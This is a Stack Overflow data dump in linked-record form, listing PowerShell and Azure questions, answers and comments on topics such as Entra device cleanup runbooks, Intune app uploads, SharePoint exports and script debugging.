type: Tag

http://stackoverflow.com/q/79290835
has title: Automation Account Script to delete Stale Devices
has comment: http://stackoverflow.com/comment/139822576
linked to: http://stackoverflow.com/q/60708578
answer count: 1
has comment: http://stackoverflow.com/comment/139821189
tagged with: azure-automation
has comment: http://stackoverflow.com/comment/139821959
accepted answer: http://stackoverflow.com/a/79292290
downvote count: 0
has comment: http://stackoverflow.com/comment/139821653
tagged with: powershell
type: AnsweredQuestion
has body: I am trying to create a runbook in my Automation Account which deletes all stale devices (inactive for >= 180 days) from Entra. I have an App Registration with the correct API permissions already created and uploaded the certificate to my Automation Account, I installed the needed modules as well. API Permissions: I am still running into some problems though, the current version of the script just displays the welcome to graph message and then apparently quits the script, even though I added lots of debugging steps: Welcome to Microsoft Graph! Connected via apponly access using 12345567-1213-2333-xxxxxxxx Readme: https://aka.ms/graph/sdk/powershell SDK Docs: https://aka.ms/graph/sdk/powershell/docs API Docs: https://aka.ms/graph/docs NOTE: You can use the -NoWelcome parameter to suppress this message. The script goes like this: # Set the tenant ID and App Registration details $tenantId = "tenantID" $clientId = "clientID" $thumbprint = "certificateThumbprint" # Authenticate to Microsoft Graph using the certificate Connect-MgGraph -ClientId $clientId -TenantId $tenantId -CertificateThumbprint $thumbprint # Number of days a device must be inactive before deletion (180 days in this case) $dt = (Get-Date).AddDays(-180) # Initialize an array to hold all devices $AllDevices = @() # Fetch devices from Microsoft Graph with pagination $uri = "https://graph.microsoft.com/v1.0/devices" do { Write-Host "Fetching devices from: $uri" $response = Invoke-MgGraphRequest -Method GET -Uri $uri if ($response -and $response.value) { $AllDevices += $response.value Write-Host "Fetched $($response.value.Count) devices" } else { Write-Host "No devices fetched or response is null" } $uri = $response.'@odata.nextLink' } while ($uri -ne $null) # Debugging: Output the total number of devices fetched Write-Host "Total devices fetched: $($AllDevices.Count)" # Filter devices that have not signed in for 180 days or more and are disabled $DevicesToDelete = $AllDevices.value | Where-Object { ($_.appro…
tagged with: azure
has answer: http://stackoverflow.com/a/79292290
upvote count: 1
has comment: http://stackoverflow.com/comment/139821659
has comment: http://stackoverflow.com/comment/139821818
score: 1
favorite count: 0
has comment: http://stackoverflow.com/comment/139821877
tagged with: microsoft-entra-id
type: Question

http://stackoverflow.com/q/79392746
has answer: http://stackoverflow.com/a/79402232
score: 1
favorite count: 0
type: Question
tagged with: sharepoint
answer count: 3
tagged with: office365
downvote count: 0
tagged with: powershell
has answer: http://stackoverflow.com/a/79409740
has answer: http://stackoverflow.com/a/79395946
has body: I'm looking to export all pages under a page libraries in Sharepoint, how do I achieve this? It is currently not an option to export page libraries, but can be done by Sync for the other SP directories.
type: UnansweredQuestion
upvote count: 1
tagged with: sharepoint-online
has title: How to export / backup files from Sharepoint page libraries?
tagged with: ms-office

http://stackoverflow.com/a/79393381
has body: You might have to use az resource instead of az webapp. According to Microsoft documentation, you should be able to achieve it with something like: # Set for ftp az resource update --resource-group &lt;group-name&gt; --name ftp --namespace Microsoft.Web --resource-type basicPublishingCredentialsPolicies --parent sites/&lt;app-name&gt; --set properties.allow=true # Set for scm az resource update --resource-group &lt;resource-group&gt; --name scm --namespace Microsoft.Web --resource-type basicPublishingCredentialsPolicies --parent sites/&lt;app-name&gt; --set properties.allow=true Note that the Microsoft documentation actually focuses on disabling basic authentication rather than enabling it, as basic authentication often is considered insecure. Excerpt from the documentation referenced above: ... enterprises often require more secure deployment methods than basic authentication ...
type: AcceptedAnswer
answers question: http://stackoverflow.com/q/79379554
type: Answer
accepted answer of: http://stackoverflow.com/q/79379554
score: 0

http://stackoverflow.com/comment/140057810
type: QuestionComment
score: 2
type: Comment
comment on: http://stackoverflow.com/q/79416406
has text: It is generally a bad practice to directly peek and poke in serialized files (as e.g. Json files) using string commands as regular expressions. Instead deserialize the file with the [`ConvertFrom-Json`](https://learn.microsoft.com/powershell/module/microsoft.powershell.utility/convertfrom-json) cmdlet . To explore the resulted ObjectGraph or even get the desired property, you might consider to use this custom [ObjectGraphTools](https://www.powershellgallery.com/packages/ObjectGraphTools) cmdlet. Which results to something like: `Get-Content $file | ConvertTo-Json | Get-Node ~entities.id`

http://stackoverflow.com/q/79254020
has title: The rundeck is unable to execute powershell script with import-module or unable to find the module to the target server
has answer: http://stackoverflow.com/a/79256211
has body: The rundeck is unable to execute powershell script with import-module even I install the 'Microsoft.Online.SharePoint.PowerShell' module in the target server. [ERROR ] Execution finished with the following error (winrm-exec.py:332)[root] [ERROR ] Import-Module : The specified module 'Microsoft.Online.SharePoint.PowerShell' was not loaded because no valid module file was found in any module directory. I try to remove 'Import-Module Microsoft.Online.SharePoint.PowerShell -Verbose' command but I'm getting this error. [ERROR ] Execution finished with the following error (winrm-exec.py:332)[root] [ERROR ] Connect-SPOService : The term 'Connect-SPOService' is not recognized as the name of a cmdlet, function, script file, or operable program. Check the spelling of the name, or if a path was included, verify that the path is correct and try again. I already install ' Microsoft.Online.SharePoint.PowerShell' module in the target server but still getting an issue. Microsoft.Online.SharePoint.PowerShell Here's my code: Set-ExecutionPolicy RemoteSigned -Scope Process -Force [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12 #endregion $username = "user_name" $password = "password" $siteUrl = "https://xxxx.sharepoint.com/" # Connect to Azure AD $cred = New-Object -TypeName System.Management.Automation.PSCredential -argumentlist $username, $(convertto-securestring $password -asplaintext -force) Connect-SPOService -Url $siteUrl -Credential $cred -ModernAuth $true -AuthenticationUrl https://login.microsoftonline.com/organizations -WarningAction SilentlyContinue
tagged with: winrm
has comment: http://stackoverflow.com/comment/139760055
type: Question
has comment: http://stackoverflow.com/comment/139761567
linked to: http://stackoverflow.com/q/58640044
linked to: http://stackoverflow.com/q/63613699
tagged with: powershell
has comment: http://stackoverflow.com/comment/139755342
tagged with: rundeck
answer count: 1
has comment: http://stackoverflow.com/comment/139756042
has comment: http://stackoverflow.com/comment/139761590
has comment: http://stackoverflow.com/comment/139755945
score: 0
type: UnansweredQuestion

http://stackoverflow.com/comment/139763895
type: QuestionComment
type: Comment
has text: `teambootstrapper -x`
comment on: http://stackoverflow.com/q/79258378
score: 0

http://stackoverflow.com/comment/139799279
comment on: http://stackoverflow.com/q/79276781
score: 1
type: QuestionComment
type: Comment
has text: It would be tough to troubleshoot that from here, but I'd check to ensure you've got Npcap installed (prompted during the wireshark install) and that the bindings on the NICs in question (ncpa.cpl) have the filter driver selected. Perhaps uninstall and reinstall if needed.

http://stackoverflow.com/comment/139899409
score: 0
comment on: http://stackoverflow.com/q/79334181
type: QuestionComment
type: Comment
has text: if you hardcode the value for ResourceAccess in your command, does it work?

http://stackoverflow.com/comment/140025749
comment on: http://stackoverflow.com/q/79400251
has text: How about using `$fullName = if ($PSCommandPath) { $PSCommandPath } else { $MyInvocation.PSCommandPath }` ?
type: QuestionComment
type: Comment
score: 1

http://stackoverflow.com/q/79398085
has title: PostgreSQL16 : using pg_restore in a PowerShell script, but it only ever returns $null
has comment: http://stackoverflow.com/comment/140021601
score: 0
tagged with: postgresql
type: UnansweredQuestion
has comment: http://stackoverflow.com/comment/140022229
has comment: http://stackoverflow.com/comment/140021828
type: Question
answer count: 0
linked to: http://stackoverflow.com/q/8097354
has body: I am automating a database reload as part of a test script. To my dismay, pg_restore.exe appears to only return $null. Even when deliberately mangling the file name, I get a $null back (although it prints a message to the screen). However a screen print doesn't do the script any good. The line in the PowerShell script, which works, other than a complete lack of feedback... $PGResult = &"C:\Program Files\PostgreSQL\16\bin\pg_restore.exe" --clean --dbname=postgresql://:@localhost:/<target_database> $DB_Filename The $DB_Filename changes per run but the rest of the <> tags are a fixed part of the script. Any idea how to get some kind of return code from pg_restore.exe so that the script knows if the database was successfully restored or not?
tagged with: powershell

http://stackoverflow.com/comment/139787678
type: QuestionComment
type: Comment
score: 0
comment on: http://stackoverflow.com/q/79272508
has text: Which one of the `PSKformonth123` ? The one that corresponds with the current month (i.e.: `12` in this case) ? These clarifications should be in your question

http://stackoverflow.com/comment/139886484
type: Comment
comment on: http://stackoverflow.com/a/79323142
has text: "but it also deletes photos without a matching movie file", But I only said something about "examine only the files...."
score: 0
type: AnswerComment

http://stackoverflow.com/comment/139862734
type: Comment
score: 0
has text: Maybe you mean to do add `$objarys += $strary` rather than replacing your object[] with your string[] `$objarys = $strary`?
comment on: http://stackoverflow.com/q/79314201
type: QuestionComment

http://stackoverflow.com/q/79271108
has body: I am trying to upload a windows LOB .msi App to MS Intune via the Graph API. This is part of a bigger script. So far I was able to figure out on how to get the Graph Token and create the App in the Intune portal. Problem is that I just cant figure out on how and where to upload my .msi file. I am fairly new to this and I wasnt really able to find anything usefull online that would help me with this problem. I am guessing that with my current script im just trying to upload to the wrong endpoint / I cant even get the correct place. Online I've found multiple different suggestions, but none of them seem to be reasonable in my case. As said, im trying to upload an .msi file. I cant quite figure out on how to get the contentVersionId or the fileId tho. Help would be very much appreciated here, I've been stuck on this for a while now. This is the code I already have to create the app, works like a charm; ` $appInfo = isApp # Azure AD Authentication Details $tenantId = (Get-AzTenant).TenantId Write-Host $appInfo.ClientSecret # Generate OAuth Token $authBody = @{ grant_type = "client_credentials" resource = "https://graph.microsoft.com" client_id = $appInfo.ApplicationId client_secret = $appInfo.ClientSecret } Write-Host "Graph-Token wird abgerufen, bitte warten..." $authResponse = Invoke-RestMethod -Uri "https://login.microsoftonline.com/$tenantId/oauth2/token" -Method POST -Body $authBody $graphToken = $authResponse.access_token # Verify Token Retrieval if (-not $graphToken) { Write-Error "Failed to retrieve access token." return } else { Write-Host "Access token retrieved successfully." } # Headers for Graph API requests (use the generated token) $headers = @{ "Authorization" = "Bearer $graphToken" "Content-Type" = "application/json" } # App creation payload $appPayload = @{ "@odata.type" = "#microsoft.graph.windowsMobileMSI" displayName = "My LOB MSI App" productVersion = "1" description = "App Created via PS" publisher = "Protecdata" fileName = "TeamViewer.msi" isFeat…
tagged with: powershell
tagged with: microsoft-graph-api
score: 0
type: UnansweredQuestion
has title: Upload LOB msi files to intune via graph API to programatically setup intune apps
answer count: 0
type: Question
tagged with: microsoft-graph-intune

http://stackoverflow.com/comment/139760491
score: 0
has text: Oh hi, I am just wondering if this script is correct or not
type: QuestionComment
type: Comment
comment on: http://stackoverflow.com/q/79257011

http://stackoverflow.com/comment/139758007
comment on: http://stackoverflow.com/q/79255264
has text: @lit In the case of invoking an installer, the metadata of each process event is used to build a current tree of descendant processes such that _all_ of those processes are awaited for completion prior to proceeding with further installation tasks. I use the same technique for other use cases, but the installer scenario has been the most troublesome.
type: QuestionComment
type: Comment
score: 0

http://stackoverflow.com/comment/140030198
type: AnswerComment
type: Comment
comment on: http://stackoverflow.com/a/79401238
has text: This is a perfectly reasonable approach - you may want to turn the translation loop into a function so you can do `... |Select-Object Name,@{N='Groups';E={Resolve-SIDs $_.Groups}}` or similar, to make your code more readable :)
score: 1

http://stackoverflow.com/comment/139869707
type: QuestionComment
type: Comment
has text: Seems like you're after `$xml.SelectSingleNode("//*[@name='KeyStorePath']").InnerText` ?
score: 0
comment on: http://stackoverflow.com/q/79318047

http://stackoverflow.com/comment/140063575
type: QuestionComment
type: Comment
score: 1
comment on: http://stackoverflow.com/q/79419763
has text: Just right-click the script and select "Run as Administrator." Also, "deprecated" in Windows doesn't mean "removed." `wmic` has oficially been deprecated for ages but it's still there.

http://stackoverflow.com/comment/140003333
comment on: http://stackoverflow.com/a/79388711
score: 1
type: AnswerComment
type: Comment
has text: This is perfect! A heartfelt appreciation, gratitude and thank you for your inputs!

http://stackoverflow.com/comment/139873843
type: Comment
comment on: http://stackoverflow.com/q/79309989
score: 0
type: QuestionComment
has text: _Windows PowerShell_ and _PowerShell (Core) 7_ up to _v7.3.x_ only ever communicate via _text_ with external programs in their _object_-based pipelines. External-program output is always decoded into .NET strings, line by line. Therefore, in these versions you can _not_ use the PowerShell pipeline (notably via `|` and `>`) when _raw byte data_ must be sent to / received from external programs - it will get corrupted. As a workaround, pass command lines to `cmd.exe /c` or `sh -c` that make use of _their_ `|` and `>` operators. See [this answer](https://stackoverflow.com/a/59118502/45375).

http://stackoverflow.com/q/79334734
tagged with: excel
upvote count: 1
has body: I have a data sheet in Excel that I'm trying to manipulate the data with. One of the outcomes is that one cell should be cleared out and copy/pasted (or cut/pasted) into another cell as desired. Below is the code I'm using to manipulate the sheet with: In this case I'm trying to merge a column named Target into Destination $SomeSheet = "C:\Some\Path\lorem.xlsx" $MasterDBSheetName = "Database" $MasterDBSheet = Import-Excel -Path $MasterDBPath -WorksheetName $MasterDBSheetName foreach ($dbRow in $MasterDBSheet) { $row_target = $dbRow.'Target" $row_destination = $dbRow.'Destination' $merge = $row_target + " " + $row_destination $dbRow.'Target' = $null $dbRow."Destination' = $merge } $MasterDBSheet | Export-Excel -Path $MasterDBPath -WorksheetName $MasterDBSheetName The data is being merged into "Destination" for each row, but despite being set as $null or "", the original data for Target is still in the same column even though it should be cleared. I have managed to clear everything if I used —ClearWorksheet, but I was hoping to keep the formatting of the first row at least.
favorite count: 0
score: 1
type: Question
downvote count: 0
answer count: 1
type: AnsweredQuestion
accepted answer: http://stackoverflow.com/a/79334761
has title: Existing data cell not being cleared from Excel sheet
has answer: http://stackoverflow.com/a/79334761
tagged with: powershell

http://stackoverflow.com/q/79317800
has comment: http://stackoverflow.com/comment/139869332
tagged with: powershell
has comment: http://stackoverflow.com/comment/139869128
has title: PowerShell Script to Check If Chrome Profiles Are Running Not Working As Expected
tagged with: scripting
score: 0
type: UnansweredQuestion
has body: I have a PowerShell script that aims to check if specific Chrome profiles are already running and, if not, start them. However, the script is not correctly detecting running profiles and is opening duplicate instances. Here is the script I am using: Changes: Thanks to Mathias. Issue: The script now seems to realise that the default profile is running, but will duplicate all the other profiles. # Function to request elevated permissions (run as admin) function Test-Admin { $isAdmin = ([System.Security.Principal.WindowsIdentity]::GetCurrent().Groups -match "S-1-5-32-544") if (-not $isAdmin) { Write-Host "This script requires administrator privileges. Restarting with elevated rights." # Start a new PowerShell process with admin rights Start-Process powershell -ArgumentList "-NoProfile -ExecutionPolicy Bypass -File `"$PSCommandPath`"" -Verb RunAs exit } } # Request admin rights at the start of the script Test-Admin # Full path to Chrome executable $chromePath = "C:\Program Files (x86)\Google\Chrome\Application\chrome.exe" # List of Chrome profiles to open $profiles = @("Default", "Profile 10", "Profile 7", "Profile 8", "Profile 9", "Profile 3", "Profile 2", "Profile 6", "Profile 5", "Profile 17", "Profile 20", "Profile 18", "Profile 4", "Profile 1", "Profile 21", "Profile 19", "Profile 15") # Get all chrome processes (filtering out renderer and crashpad processes) $chromeProcesses = Get-WmiObject Win32_Process | Where-Object { $_.Name -eq "chrome.exe" -and $_.CommandLine -notlike "*--type=renderer*" -and $_.CommandLine -notlike "*--type=crashpad-handler*" } # Loop through each profile foreach ($profile in $profiles) { Write-Host "Checking if Chrome profile $profile is running..." $profileRunning = $false # Check if any process has the profile argument in its command line foreach ($process in $chromeProcesses) { if ($process.CommandLine -like "*--profile-directory=$profile*" -or $process.CommandLine -like "*--profile-directory=`"$profile`"") { $profileRunning = $true Wri…
tagged with: windows
type: Question
answer count: 0
tagged with: google-chrome

http://stackoverflow.com/comment/140003722
type: AnswerComment
comment on: http://stackoverflow.com/a/79388969
type: Comment
has text: With a variable name like `args`, `{...}` enclosure is optional, as discussed in the second linked post. Inside `'...'`, string interpolation is by design _not_ performed; in other words: you're passing _verbatim_ `${args}`, which is not the intent.
score: 1

http://stackoverflow.com/q/79396584
tagged with: powershell
has comment: http://stackoverflow.com/comment/140018797
score: 0
type: UnansweredQuestion
has title: Wasabi File Upload via Powershell S3
has answer: http://stackoverflow.com/a/79399248
has body: I am facing the issue that I encounter the following error:"The request body terminated unexpectedly" Wrote to the wasabi support they told me that in the logs they encounter an 410 error. In Powershell it self the upload goes to 100% then it gets terminated, my code at the moment looks like this: $SiteUrl = "sharepoint site" $LibraryName = "Documents" $FolderName = "Archive" $S3BucketName = "Bucket" $S3Region = "eu-central-2" $AccessKey = "Access_Key" $SecretKey = "Secret_Key" $LocalTempFolder = "Folderpath" $WasabiEndpoint = "https://s3.eu-central-2.wasabisys.com" Import-Module PnP.PowerShell Import-Module AWSPowerShell.NetCore function Convert-HexStringToByteArray { param ( [string]$HexString ) if ($HexString.Length % 2 -ne 0) { throw "Hex string length must be even." } $ByteArray = for ($i = 0; $i -lt $HexString.Length; $i += 2) { [Convert]::ToByte($HexString.Substring($i, 2), 16) } return $ByteArray } function Upload-ToWasabi { param ( [string]$FilePath, [string]$S3Key, [int]$RetryCount = 3 ) for ($Attempt = 1; $Attempt -le $RetryCount; $Attempt++) { try { Write-Host "Uploading item to Wasabi S3: $S3Key (Attempt $Attempt of $RetryCount)" Write-S3Object -BucketName $S3BucketName ` -Key $S3Key ` -File $FilePath ` -Region $S3Region ` -ProfileName WasabiProfile ` -Endpoint $WasabiEndpoint ` -StorageClass STANDARD ` -PartSize 5MB ` -Verbose Write-Host "Upload successful for $S3Key." return $true } catch { Write-Host "Error during upload: $($_.Exception.Message)" Write-Host "Full error details: $($_.Exception)" if ($Attempt -lt $RetryCount) { Write-Host "Retrying upload in 5 seconds..." Start-Sleep -Seconds 5 } else { Write-Error "Failed to upload $S3Key after $RetryCount attempts." return $false } } } } Write-Host "Connecting to SharePoint..." Connect-PnPOnline -Url $SiteUrl -UseWebLogin if (-not (Test-Path -Path $LocalTempFolder)) { Write-Host "Creating temporary folder at $LocalTempFolder" New-Item -Path $LocalTempFolder -ItemType Directory } $SiteName = ($SiteUrl…
linked to: http://stackoverflow.com/q/74103581
type: Question
answer count: 1

http://stackoverflow.com/comment/140002961
type: AnswerComment
has text: @user66001 You can give a file any extension you want, but the content or format does not change by doing so. CVA is just INI. Btw why downvote the answer when it shows how reliably you can get the individual variables in the file?
type: Comment
comment on: http://stackoverflow.com/a/79386724
score: 0

http://stackoverflow.com/a/79340927
downvote count: 0
type: Answer
answers question: http://stackoverflow.com/q/79340858
score: 1
upvote count: 1
has body: $path = [path to containing folder] $files = Get-ChildItem -Path $path -File | Where-Object { $_.LastWriteTime -lt (Get-Date).AddDays(-10) } # $files.Count or $files.Length (both work) will have what you need here $files | Remove-Item -Force

http://stackoverflow.com/comment/139934413
type: QuestionComment
comment on: http://stackoverflow.com/q/79351371
type: Comment
score: 3
has text: for debugging this issue you could put a big `try { ... } catch [System.IndexOutOfRangeException] { Get-Error | Out-File .... }` to understand where this could be coming from. I dont think its coming from `Add-Member`

http://stackoverflow.com/comment/139984001
type: AnswerComment
comment on: http://stackoverflow.com/a/79377660
type: Comment
has text: Thanks, @Mathias: I've updated the answer accordingly.
score: 0

node.js
type: Tag
tags question: http://stackoverflow.com/q/79272293
tag name: node.js
tags question: http://stackoverflow.com/q/79405109
tags question: http://stackoverflow.com/q/79473951
tags question: http://stackoverflow.com/q/79507903
tags question: http://stackoverflow.com/q/79470255

http://stackoverflow.com/comment/140044554
type: QuestionComment
comment on: http://stackoverflow.com/q/79324379
type: Comment
score: 0
has text: You're right, @nate (I misread your original comment). The problem affects not only `shell:AppsFolder` URIs, but also app-specific ones, such as `calculator:`. The root cause is a limitation in the underlying .NET APIs (and ultimately possibly at the WinAPI level) that the linked GitHub issue (which uses `calculator:` as an example) discusses.

http://stackoverflow.com/q/79272605
linked to: http://stackoverflow.com/q/77002696
downvote count: 0
tagged with: powershell
tagged with: runspace
has comment: http://stackoverflow.com/comment/139787836
duplicate of: http://stackoverflow.com/q/73547767
type: UnansweredQuestion
favorite count: 0
score: 1
duplicate of: http://stackoverflow.com/q/77002696
upvote count: 1
has body: Consider the following PowerShell which writes to each of the (non-output) streams in the current runspace, then does the same in another runspace created with $Host: $sb = { $DebugPreference = 'Continue' $InformationPreference = 'Continue' Write-Debug 'some debug' Write-Information 'some information' Write-Verbose 'some verbose' -Verbose Write-Warning 'some warning' Write-Error 'some error' } . $sb '----' $rs = [runspacefactory]::CreateRunspace($Host) $rs.Open() [powershell]::Create($rs). AddScript($sb). Invoke() | Out-Null Running this in the PowerShell console outputs VERBOSE: some verbose WARNING: some warning Write-Error: C:\test.ps1:13 Line | 13 | . $sb | ~~~~~ | some error ---- DEBUG: some debug some information VERBOSE: some verbose WARNING: some warning Why is the error written in the runspace missing from the output?
tagged with: pshost
has title: Why doesn't the error stream from a runspace created with $Host appear in the console?
type: Question
answer count: 0

http://stackoverflow.com/a/79326545
type: Answer
has body: As I mentioned in the comments, it is not possible to work with the local path files when you are working on the cloud resources. Alternative workarounds are given below: Firstly, you can upload all the related local path files to Azure PowerShell environment and execute the script in Azure PowerShell rather than an automation runbook. Or you can create a new Azure storage blob and upload all the local path files into it and access the files from storage blob to automation account to proceed further. Coming to the, How to install the module and import the module in Azure automation runbook? You need to go to the below path: Automation Account &gt;&gt; Shared Resources &gt;&gt; Modules and click on Add a module. Before to that, search storage as shown below to verify if any version of Az.storage module existed in the automation environment. If not existed, now click on Add a module as suggested above to proceed further for importing the required storage module. Select the specific module and required version to install it successfully. Alternatively, you can also install and import it from PowerShell Gallery and directly click on Deploy to Azure Automation as shown below.
score: 0
answers question: http://stackoverflow.com/q/79325726

http://stackoverflow.com/a/79293202
type: Answer
answers question: http://stackoverflow.com/q/79291055
score: 0
has body: My Goal is.. To make ACL setup on folder1 that user1 can R&amp;W but cannot Write on folder2. To make ACL setup on folder2 that user2 can R&amp;W but cannot write on folder1. According to this MS-Document The ACL authorization at the file and directory level for Azure Blob Storage is still in preview and currently can only be enabled through the Azure Portal. This means that ACL authorization for controlling access at a more granular level (such as files and directories) is not yet fully supported via Azure CLI, PowerShell, or other tools for local user management. In my environment, I created local user with SFTP enabled in the portal with ACL enabled through portal. Portal: Now the user1 can able to access only the folder1. Command and output: PS C:\xxxx&gt; Sftp storage accountname.&lt;localusername&gt;@&lt;storage account name&gt;.blob.core.windows.net venkat8912.user1@venkat8912.blob.core.windows.net's password: Connected to venkat8912.blob.core.windows.net. sftp&gt; ls mac-tar-cache-exp.png project-structure.png The above sample command will show only the files in folder1. Same as you can create local user access only for folder2. Reference: SFTP support for Azure Blob Storage - Azure Storage | Microsoft Learn

http://stackoverflow.com/a/79314381
score: 0
has body: Just for completeness, I have decided to add a batch file answer which does not use powershell.exe. @Echo Off SetLocal EnableExtensions DisableDelayedExpansion Set "UTF8_BOM=%~1" If Not Defined UTF8_BOM GoTo :EOF If Not Exist "%UTF8_BOM%" GoTo :EOF Set "_CodePage=" For /F "Tokens=*" %%G In ('%SystemRoot%\System32\chcp.com') Do For %%H In (%%G) Do Set "_CodePage=%%~nH" If %_CodePage% NEq 65001 Call :CodepageChange 65001 Call :RemoveBOM "%UTF8_BOM%" If Defined _CodePage (If %_CodePage% NEq 65001 Call :CodepageChange %_CodePage%) Pause Exit /B :CodepageChange %SystemRoot%\System32\chcp.com %1 1>NUL GoTo :EOF :RemoveBOM Copy "%~1" "%TEMP%\_$.tmp" 2>NUL || GoTo :EOF (Type "%TEMP%\_$.tmp" | ((Pause & Pause & Pause) 1>NUL & %SystemRoot%\System32\findstr.exe "^")) 1>"%~1" If Not ErrorLevel 1 Del "%TEMP%\_$.tmp" GoTo :EOF Just drag and drop your file, (represented in your question as MyFile.txt in the current working directory), onto the batch file. Alternatively the UTF-8_BOM file can be passed as an argument to the script via the command line interface.
type: Answer
answers question: http://stackoverflow.com/q/79307726

http://stackoverflow.com/q/79256387
has comment: http://stackoverflow.com/comment/139758879
has title: System.Windows.Form not populating variable on button press
type: Question
has answer: http://stackoverflow.com/a/79257887
answer count: 1
linked to: http://stackoverflow.com/q/51130595
tagged with: powershell
has comment: http://stackoverflow.com/comment/139760922
score: 0
type: UnansweredQuestion
tagged with: variables
has comment: http://stackoverflow.com/comment/139760906
has body: The PS below is not populating the variable if a button is selected. However if the keypress 1-2 is selected the printer is selected. The pushbutton works on the button selection for the language selection but not the printer selection. Keypresses 1-2 areworking. The variable for $global:printerChoice is not being populated once the printer is selected in the box by $_.Name of the printer. It is empty. Add-Type -AssemblyName "System.Windows.Forms" # Initialize global variables $language = 0 $printerChoice = "" # Language Selection Form $form = New-Object System.Windows.Forms.Form $form.Text = 'Select Language' $form.Size = New-Object System.Drawing.Size(300, 200) $form.StartPosition = [System.Windows.Forms.FormStartPosition]::CenterScreen # Center the form $form.TopMost = $true # Keep the form in the foreground $form.KeyPreview = $true # Ensure the form captures key presses # Create a label for instructions $label = New-Object System.Windows.Forms.Label $label.Text = 'Select your language (1: English, 2: Español):' $label.Location = New-Object System.Drawing.Point(10, 10) $label.Size = New-Object System.Drawing.Size(280, 40) $form.Controls.Add($label) # Create buttons for each language $buttonEnglish = New-Object System.Windows.Forms.Button $buttonEnglish.Text = "1. English" $buttonEnglish.Location = New-Object System.Drawing.Point(10, 60) $buttonEnglish.Size = New-Object System.Drawing.Size(260, 40) $buttonEnglish.Add_Click({ $global:language = 1 Write-Host "Language selected: English (1)" $form.Close() }) $form.Controls.Add($buttonEnglish) $buttonSpanish = New-Object System.Windows.Forms.Button $buttonSpanish.Text = "2. Español" $buttonSpanish.Location = New-Object System.Drawing.Point(10, 110) $buttonSpanish.Size = New-Object System.Drawing.Size(260, 40) $buttonSpanish.Add_Click({ $global:language = 2 Write-Host "Language selected: Español (2)" $form.Close() }) $form.Controls.Add($buttonSpanish) # KeyDown event for capturing keyboard and numpad inputs $form.Add_K…
tagged with: forms

http://stackoverflow.com/comment/140045467
score: 0
has text: Thank you. I am going to spin up another VM, Windows 11 this time, and see if I can work around the error. I there away to download reference assembly and install it?
type: QuestionComment
type: Comment
comment on: http://stackoverflow.com/q/79410420

http://stackoverflow.com/comment/140064338
type: AnswerComment
has text: you could combine the first two `-replace` operands into one: `-replace '[-_]', ' '`
comment on: http://stackoverflow.com/a/79420203
type: Comment
score: 1

http://stackoverflow.com/q/79258378
answer count: 2
has title: Errorhandling Microsoft Teams Uninstallation with teamsbootstrapper (with start-process)
has comment: http://stackoverflow.com/comment/139762225
tagged with: uninstallation
type: Question
has body: I am struggling with the error handling for the uninstallation of Microsoft Teams by using their teamsbootstrapper.exe. With teamsbootstrapper's -x flag, the uninstallation will be success: "true" or success: "false" But the function (below) won't show the correct output of teamsbootstrapper.exe: $team = "$PSScriptRoot\teamsbootstrapper.exe" $msix = "$PSScriptRoot\MSTeams-x64.msix" function InstallTeams { param( ) try { $r = Start-Process -FilePath `"$team`" -ArgumentList "-x" -Wait $resultObj = try { $r | ConvertFrom-Json } catch { $null } if ($resultObj -eq $null -or $resultObj.success -eq $false) { throw '' } write-host 'ERROR: Teams uninstallation failed' return $false } catch { write-host 'Teams uninstallation is done' return $true } } InstallTeams With PowerShell there is no output shown, while using "teamsbootstrappe.exe -x", with cmdlet you will get success: "true" or success: "false". First question: How can I catch the output in PowerShell? Second question: Is there a method to get an installation failed with teamsbootstrapper.exe? Everytime the uninstallation is success Several output methods, nothing catches the "true" or "false".
has answer: http://stackoverflow.com/a/79258418
tagged with: powershell
tagged with: error-handling
has comment: http://stackoverflow.com/comment/139763895
score: 0
has answer: http://stackoverflow.com/a/79260926
type: UnansweredQuestion

http://stackoverflow.com/comment/140020507
comment on: http://stackoverflow.com/q/79395563
score: 0
type: QuestionComment
has text: Do you have any reference of what is not slow (fast)? This does have to be a PowerShell issue. There could be a virusscanner bottleneck or simply a slow (remote, `$env:USERPROFILE`?) drive.
type: Comment

http://stackoverflow.com/comment/139777237
type: Comment
score: 0
comment on: http://stackoverflow.com/q/79246610
has text: @iRon, note that PowerShell is platform-agnostic with respect to newline characters / character sequences. It interchangeably accepts Windows-format CRLF newlines, Unix-format LF-only newlines, and even (now obsolete) CR-only newlines. I also don't think there's an encoding issue: the actual output matches both the PowerShell code and the `diff` command; it's unclear what the logic behind the expected output is, as it appears not be based on comparing two files at all, but is simply composed of all non-empty lines from the _first_ file.
type: QuestionComment

http://stackoverflow.com/a/79400222
answers question: http://stackoverflow.com/q/79399774
type: Answer
accepted answer of: http://stackoverflow.com/q/79399774
downvote count: 0
score: 1
upvote count: 1
type: AcceptedAnswer
has body: Ok, so we answered this question yesterday, outlining different approaches for this. I want to address why your script doesn’t work. The KeyVault task pulls down the secrets and adds them as environment variables. However, tasks that use the azure-devops-pipeline-tasks api have logic to filter secrets out of the environment variables as a security precaution to prevent secrets from leaking into places where they weren’t intended. As such, you have to opt-in secrets into a task by passing them through the env argument of the task. As your script is dynamically defining the secretsFilter as a parameter, you can dynamic define the env argument. - script: | secrets=&quot;${{ replace(parameters.secretsFilter, ',', ' ') }}&quot; for secretName in $secrets; do echo &quot;##vso[task.setvariable variable=$secretName;isoutput=true;issecret=false;isreadonly=true]$($secretName)&quot; done name: secretOutputs displayName: Create output variables env: ${{ each secretName in secrets }}: ${{ secretName }}: $(${{ secretName }})

http://stackoverflow.com/comment/139798513
comment on: http://stackoverflow.com/a/79278369
type: Comment
score: 0
has text: Oops, good point, have corrected typo. 1.05:00:00 would be the expected result if it's still using the default as I get the same value on my test box. Within the IIS UI, Application Pools > DefaultAppPool > Recycling > Regular Time Interval (minutes), mine shows as 1740, which equates to 1.05:00:00. Is yours different to that, or are you after a different value from elsewhere within IIS?
type: AnswerComment

http://stackoverflow.com/comment/140044642
type: QuestionComment
type: Comment
has text: @Santiago, can you elaborate on your most recent comment (these are innocent questions)? What is the built-in [AD group](https://learn.microsoft.com/en-us/windows-server/identity/ad-ds/manage/understand-security-groups)? Make themselves the owner of what object? Said group? How does that relate to being an administrator?
score: 0
comment on: http://stackoverflow.com/q/79410051

http://stackoverflow.com/a/79356423
answers question: http://stackoverflow.com/q/79355571
score: 0
